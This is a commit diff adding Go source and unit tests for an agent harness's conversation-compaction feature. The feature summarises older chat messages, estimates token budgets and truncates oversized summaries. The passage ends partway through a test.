agent: harness core (#16963)

This commit is contained in:
Parth Sareen
2026-07-02 11:44:31 -07:00
committed by GitHub
parent 624cada952
commit a2b3a5e9a3
33 changed files with 6570 additions and 3897 deletions
+629
View File
@@ -0,0 +1,629 @@
package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"github.com/ollama/ollama/api"
)
// Compaction wire-format. These constants and helpers are the single canonical
// definition of how a compacted turn is represented in message history.
const (
CompactionSummaryMessagePrefix = "Conversation summary:\n"
CompactionToolName = "summary"
CompactionToolCallID = "ollama_compaction"
CompactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
)
const (
defaultCompactionContextWindowTokens = 32768
defaultCompactionKeepUserTurns = 3
defaultCompactionThreshold = 0.8
compactOnlySummaryContextTokens = 16000
maxCompactionSummaryBytes = 16 * 1024
compactionSummaryTruncated = "\n\n[summary truncated]"
compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
)
type Compactor interface {
MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
}
type CompactionOptions struct {
ContextWindowTokens int
KeepUserTurns int
Threshold float64
}
type CompactionRequest struct {
ChatID string
Model string
SystemPrompt string
Messages []api.Message
Tools api.Tools
Format string
Latest api.ChatResponse
Options map[string]any
KeepAlive *api.Duration
Think *api.ThinkValue
Force bool
ContinueTask bool
KeepUserTurns *int
Progress func(CompactionProgress)
}
type CompactionProgress struct {
Tokens int
}
type CompactionResult struct {
Messages []api.Message
Compacted bool
Due bool
Summary string
Reason string
}
type SimpleCompactor struct {
Client ChatClient
Options CompactionOptions
}
func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
result := CompactionResult{Messages: req.Messages}
if c == nil {
return result, nil
}
result.Due = req.Force || c.shouldCompact(req)
if !result.Due {
return result, nil
}
if c.Client == nil {
result.Reason = "compaction is unavailable"
return result, nil
}
keepUserTurns := c.keepUserTurns(req.Options)
if req.KeepUserTurns != nil {
keepUserTurns = *req.KeepUserTurns
}
prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
if !ok || len(archive) == 0 {
result.Reason = "nothing to compact"
return result, nil
}
summary, err := c.summarize(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
if summary == "" {
summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
}
if summary == "" {
result.Reason = "summary was empty"
return result, nil
}
compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
compacted = append(compacted, prefix...)
compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
compacted = append(compacted, suffix...)
result.Messages = compacted
result.Compacted = true
result.Summary = summary
return result, nil
}
func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
contextWindow := c.contextWindowTokens(req.Options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return false
}
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
return true
}
return estimateCompactionRequestTokens(req) >= threshold
}
func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
}
func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
return 0
}
if c.Options.KeepUserTurns > 0 {
return c.Options.KeepUserTurns
}
return defaultCompactionKeepUserTurns
}
func (c *SimpleCompactor) threshold() float64 {
return ResolveCompactionThreshold(c.Options.Threshold)
}
func ResolveContextWindowTokens(options map[string]any, configured int) int {
if n := intOption(options, "num_ctx"); n > 0 {
return n
}
if configured > 0 {
return configured
}
return defaultCompactionContextWindowTokens
}
func ResolveCompactionThreshold(configured float64) float64 {
if configured > 0 {
return configured
}
return defaultCompactionThreshold
}
func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
if err != nil {
return "", err
}
chatReq := &api.ChatRequest{
Model: req.Model,
Messages: []api.Message{
{
Role: "system",
Content: compactionSystemPrompt,
},
{
Role: "user",
Content: body,
},
},
Options: req.Options,
Think: req.Think,
}
if req.KeepAlive != nil {
chatReq.KeepAlive = req.KeepAlive
}
var summary strings.Builder
if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
summary.WriteString(response.Message.Content)
if req.Progress != nil {
tokens := response.EvalCount
if tokens <= 0 {
tokens = estimateCompactionTokens(summary.String())
}
req.Progress(CompactionProgress{Tokens: tokens})
}
return nil
}); err != nil {
return "", err
}
return summary.String(), nil
}
func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
retry := req
retry.Think = &api.ThinkValue{Value: false}
summary, err := c.summarize(ctx, retry, previousSummary, archive)
if err == nil {
return summary, nil
}
if !isUnsupportedCompactionThinkError(err) {
return "", err
}
if req.Think == nil {
return "", nil
}
retry.Think = nil
return c.summarize(ctx, retry, previousSummary, archive)
}
func isUnsupportedCompactionThinkError(err error) bool {
if err == nil {
return false
}
text := strings.ToLower(err.Error())
if !strings.Contains(text, "think") {
return false
}
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
return statusErr.StatusCode == http.StatusBadRequest
}
return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
}
// compactionSummaryMessageForTask renders a compaction summary as the content
// string stored on the synthetic tool-result message.
func compactionSummaryMessageForTask(summary string, continueTask bool) string {
content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
if continueTask {
content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
}
return content
}
// CompactionSummaryMessages renders a compaction summary as the assistant
// tool-call plus tool-result pair that represents a compacted turn in the
// message history.
func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
return []api.Message{
{
Role: "assistant",
ToolCalls: []api.ToolCall{{
ID: CompactionToolCallID,
Function: api.ToolCallFunction{
Name: CompactionToolName,
},
}},
},
{
Role: "tool",
ToolName: CompactionToolName,
ToolCallID: CompactionToolCallID,
Content: compactionSummaryMessageForTask(summary, continueTask),
},
}
}
func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return 0
}
systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
userRoleTokens := estimateCompactionTokens("user")
budget := threshold - systemTokens - userRoleTokens
if budget <= 0 {
return 0
}
return budget
}
func truncateCompactionSummary(summary string) string {
if len(summary) <= maxCompactionSummaryBytes {
return summary
}
limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated)
if limit < 0 {
limit = 0
}
var b strings.Builder
for _, r := range summary {
if b.Len()+len(string(r)) > limit {
break
}
b.WriteRune(r)
}
return strings.TrimSpace(b.String()) + compactionSummaryTruncated
}
func estimateCompactionTokens(text string) int {
text = strings.TrimSpace(text)
if text == "" {
return 0
}
return max(1, (len([]rune(text))+3)/4)
}
func estimateMessagesTokens(messages []api.Message) int {
var total int
for _, msg := range messages {
total += estimateCompactionTokens(msg.Role)
total += estimateCompactionTokens(msg.Content)
total += estimateCompactionTokens(msg.Thinking)
total += estimateCompactionTokens(msg.ToolName)
total += estimateCompactionTokens(msg.ToolCallID)
for _, call := range msg.ToolCalls {
total += estimateCompactionTokens(call.Function.Name)
total += estimateCompactionTokens(call.Function.Arguments.String())
}
}
return total
}
func estimateCompactionRequestTokens(req CompactionRequest) int {
requestMessages := sanitizeMessagesForEstimate(req.Messages)
if strings.TrimSpace(req.SystemPrompt) != "" {
requestMessages = make([]api.Message, 0, len(req.Messages)+1)
requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
}
payload := struct {
Messages []api.Message `json:"messages,omitempty"`
Tools api.Tools `json:"tools,omitempty"`
Format json.RawMessage `json:"format,omitempty"`
}{
Messages: requestMessages,
Tools: req.Tools,
}
if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
payload.Format = rawFormat
}
if data, err := json.Marshal(payload); err == nil {
return estimateCompactionTokens(string(data))
}
total := estimateMessagesTokens(requestMessages)
total += estimateCompactionTokens(req.Tools.String())
total += estimateCompactionTokens(req.Format)
return total
}
func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
return estimateCompactionRequestTokens(CompactionRequest{
SystemPrompt: opts.SystemPrompt,
Messages: messages,
Tools: s.availableTools(),
Format: opts.Format,
Options: opts.Options,
})
}
func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return nil
}
estimated := s.estimateRunPromptTokens(opts, messages)
if estimated < contextWindow {
return nil
}
return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
}
func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return nil
}
estimated := s.estimateRunPromptTokens(opts, messages)
if estimated < contextWindow {
return nil
}
return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
}
func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
requestMessages := sanitizeMessagesForRequest(messages)
for i := range requestMessages {
// Image token accounting is model-specific. Without the active model's
// tokenizer and vision accounting, raw image bytes/base64 make the
// estimate look much larger than the prompt the model actually sees.
requestMessages[i].Images = nil
}
return requestMessages
}
func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
format = strings.TrimSpace(format)
if format == "" {
return nil, false
}
if format == "json" {
return json.RawMessage(`"json"`), true
}
if !json.Valid([]byte(format)) {
return nil, false
}
return json.RawMessage(format), true
}
func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
messages := make([]api.Message, 0, len(archive))
for _, msg := range archive {
msg.Thinking = ""
msg.Images = nil
messages = append(messages, msg)
}
return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
}
func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
payload, err := json.MarshalIndent(messages, "", " ")
if err != nil {
return "", fmt.Errorf("marshal compaction messages: %w", err)
}
var b strings.Builder
if strings.TrimSpace(previousSummary) != "" {
b.WriteString("Previous summary:\n")
b.WriteString(strings.TrimSpace(previousSummary))
b.WriteString("\n\n")
}
b.WriteString("Messages to archive as JSON:\n")
b.Write(payload)
return b.String(), nil
}
func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
if maxTokens <= 0 {
return messages
}
fitted := append([]api.Message(nil), messages...)
for range 16 {
body, err := renderCompactionPrompt(previousSummary, fitted)
if err != nil || estimateCompactionTokens(body) <= maxTokens {
return fitted
}
idx := largestCompactionContentMessage(fitted)
if idx < 0 {
return fitted
}
overageTokens := estimateCompactionTokens(body) - maxTokens
currentRunes := len([]rune(fitted[idx].Content))
nextRunes := currentRunes - overageTokens*4 - 256
if nextRunes >= currentRunes {
nextRunes = currentRunes / 2
}
fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
}
return fitted
}
func largestCompactionContentMessage(messages []api.Message) int {
idx := -1
size := 0
for i, msg := range messages {
n := len([]rune(msg.Content))
if n > size {
idx = i
size = n
}
}
return idx
}
func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
if keepUserTurns < 0 {
keepUserTurns = defaultCompactionKeepUserTurns
}
start := 0
for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
prefix = append(prefix, messages[start])
start++
}
candidates := make([]api.Message, 0, len(messages)-start)
for i := start; i < len(messages); i++ {
msg := messages[i]
if isCompactionSummary(msg) {
previousSummary = CompactionSummaryText(msg.Content)
continue
}
if isCompactionToolCall(msg) {
if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
previousSummary = CompactionSummaryText(messages[i+1].Content)
i++
}
continue
}
candidates = append(candidates, msg)
}
userTurnIndexes := make([]int, 0, keepUserTurns)
for i := len(candidates) - 1; i >= 0; i-- {
if candidates[i].Role == "user" {
userTurnIndexes = append(userTurnIndexes, i)
}
}
keptUserTurns = keepUserTurns
if len(userTurnIndexes) <= keptUserTurns {
keptUserTurns = len(userTurnIndexes) - 1
}
if keptUserTurns < 0 {
keptUserTurns = 0
}
suffixStart := len(candidates)
if keptUserTurns > 0 {
suffixStart = userTurnIndexes[keptUserTurns-1]
}
if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
return prefix, previousSummary, nil, nil, keptUserTurns, false
}
return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
}
func isCompactionToolName(name string) bool {
return name == CompactionToolName
}
func isCompactionSummary(msg api.Message) bool {
return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
}
// IsCompactionSummary reports whether msg uses the canonical compaction
// summary message representation.
func IsCompactionSummary(msg api.Message) bool {
return isCompactionSummary(msg)
}
// CompactionSummaryContent returns the user-visible summary from msg when it
// is a canonical compaction summary.
func CompactionSummaryContent(msg api.Message) (string, bool) {
if !isCompactionSummary(msg) {
return "", false
}
return CompactionSummaryText(msg.Content), true
}
// IsCompactionToolResult reports whether msg is the synthetic tool result used
// to represent compaction in message history.
func IsCompactionToolResult(msg api.Message) bool {
return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
}
// IsCompactionToolCall reports whether msg is the synthetic assistant tool
// call paired with a compaction summary result.
func IsCompactionToolCall(msg api.Message) bool {
return isCompactionToolCall(msg)
}
func isCompactionToolCall(msg api.Message) bool {
if msg.Role != "assistant" {
return false
}
for _, call := range msg.ToolCalls {
if isCompactionToolName(call.Function.Name) {
return true
}
}
return false
}
// CompactionSummaryText reverses CompactionSummaryMessages, returning the
// user-visible summary text with the prefix and any continuation instruction
// removed.
func CompactionSummaryText(content string) string {
return strings.TrimSpace(strings.TrimSuffix(
strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
CompactionContinueInstruction,
))
}
func intOption(options map[string]any, key string) int {
if options == nil {
return 0
}
switch v := options[key].(type) {
case int:
return v
case int64:
return int(v)
case float64:
return int(v)
case float32:
return int(v)
case json.Number:
n, _ := v.Int64()
return int(n)
default:
return 0
}
}
+773
View File
@@ -0,0 +1,773 @@
package agent
import (
"context"
"net/http"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type scriptedCompactionClient struct {
responses [][]api.ChatResponse
errs []error
requests []*api.ChatRequest
}
func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
c.requests = append(c.requests, req)
i := len(c.requests) - 1
if i < len(c.responses) {
for _, response := range c.responses[i] {
if err := fn(response); err != nil {
return err
}
}
}
if i < len(c.errs) {
return c.errs[i]
}
return nil
}
func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
t.Helper()
if len(messages) != 2 {
t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
}
if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
t.Fatalf("compaction assistant message = %#v", messages[0])
}
if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
}
if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
t.Fatalf("compaction tool result = %#v", messages[1])
}
if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
}
}
func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 2,
Threshold: 0.5,
}}
messages := []api.Message{
{Role: "system", Content: "stay pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer", Thinking: "hidden"},
{Role: "user", Content: "recent one"},
{Role: "assistant", Content: "recent answer"},
{Role: "user", Content: "recent two"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
compacted := result.Messages
if len(compacted) != 6 {
t.Fatalf("compacted messages = %d, want 6", len(compacted))
}
if compacted[0].Content != "stay pinned" {
t.Fatalf("first message = %#v", compacted[0])
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
assertCompactionSummaryPair(t, compacted[1:3])
if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
t.Fatalf("recent turns were not kept: %#v", compacted)
}
if len(client.requests) != 1 {
t.Fatalf("summary requests = %d, want 1", len(client.requests))
}
if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
t.Fatal("compaction prompt should omit thinking")
}
}
func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "small context summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: compactOnlySummaryContextTokens - 1,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "system", Content: "pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
}
if result.Messages[0].Content != "pinned" {
t.Fatalf("leading system message not kept: %#v", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[1:])
if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
}
}
func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
content := result.Messages[1].Content
if !strings.Contains(content, CompactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", content)
}
if got := CompactionSummaryText(content); got != "summary" {
t.Fatalf("visible summary text = %q", got)
}
}
func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024)
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: longSummary}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old one"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent one"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Summary) > maxCompactionSummaryBytes {
t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes)
}
if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) {
t.Fatalf("summary missing truncation marker")
}
if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) {
t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
}
}
func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "fallback summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[0].Think != nil {
t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if result.Compacted || result.Reason != "summary was empty" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
nil,
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
thinkHigh := &api.ThinkValue{Value: "high"}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Think: thinkHigh,
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "unset think summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 3 {
t.Fatalf("summary requests = %d, want 3", len(client.requests))
}
if client.requests[0].Think != thinkHigh {
t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
if client.requests[2].Think != nil {
t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
}
}
func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "short summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("latest turn was not kept: %#v", result.Messages)
}
}
func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "whole summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "only request"},
{Role: "assistant", Content: "only answer"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 2 {
t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages)
}
func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
client := &fakeClient{}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
}}
messages := []api.Message{
{Role: "user", Content: "one"},
{Role: "user", Content: "two"},
{Role: "user", Content: "three"},
{Role: "user", Content: "four"},
{Role: "user", Content: "five"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
})
if err != nil {
t.Fatal(err)
}
if result.Compacted {
t.Fatal("did not expect compaction")
}
if result.Due {
t.Fatal("below-threshold compaction should not be due")
}
if len(result.Messages) != len(messages) {
t.Fatalf("messages changed below threshold: %#v", result.Messages)
}
if len(client.requests) != 0 {
t.Fatalf("summary requests = %d, want 0", len(client.requests))
}
}
func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "read large output"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "read",
},
}}},
{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
},
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("expected estimate-driven compaction, got %#v", result)
}
if result.Summary != "estimated summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
}}
if !compactor.shouldCompact(CompactionRequest{
SystemPrompt: strings.Repeat("system ", 360),
Messages: []api.Message{{Role: "user", Content: "tiny"}},
}) {
t.Fatal("system prompt should count toward compaction estimate")
}
if !compactor.shouldCompact(CompactionRequest{
Messages: []api.Message{{Role: "user", Content: "tiny"}},
Tools: api.Tools{{
Type: "function",
Function: api.ToolFunction{
Name: "verbose_tool",
Description: strings.Repeat("description ", 360),
},
}},
}) {
t.Fatal("tool definitions should count toward compaction estimate")
}
}
func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
largeToolOutput := strings.Repeat("x", 10_000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
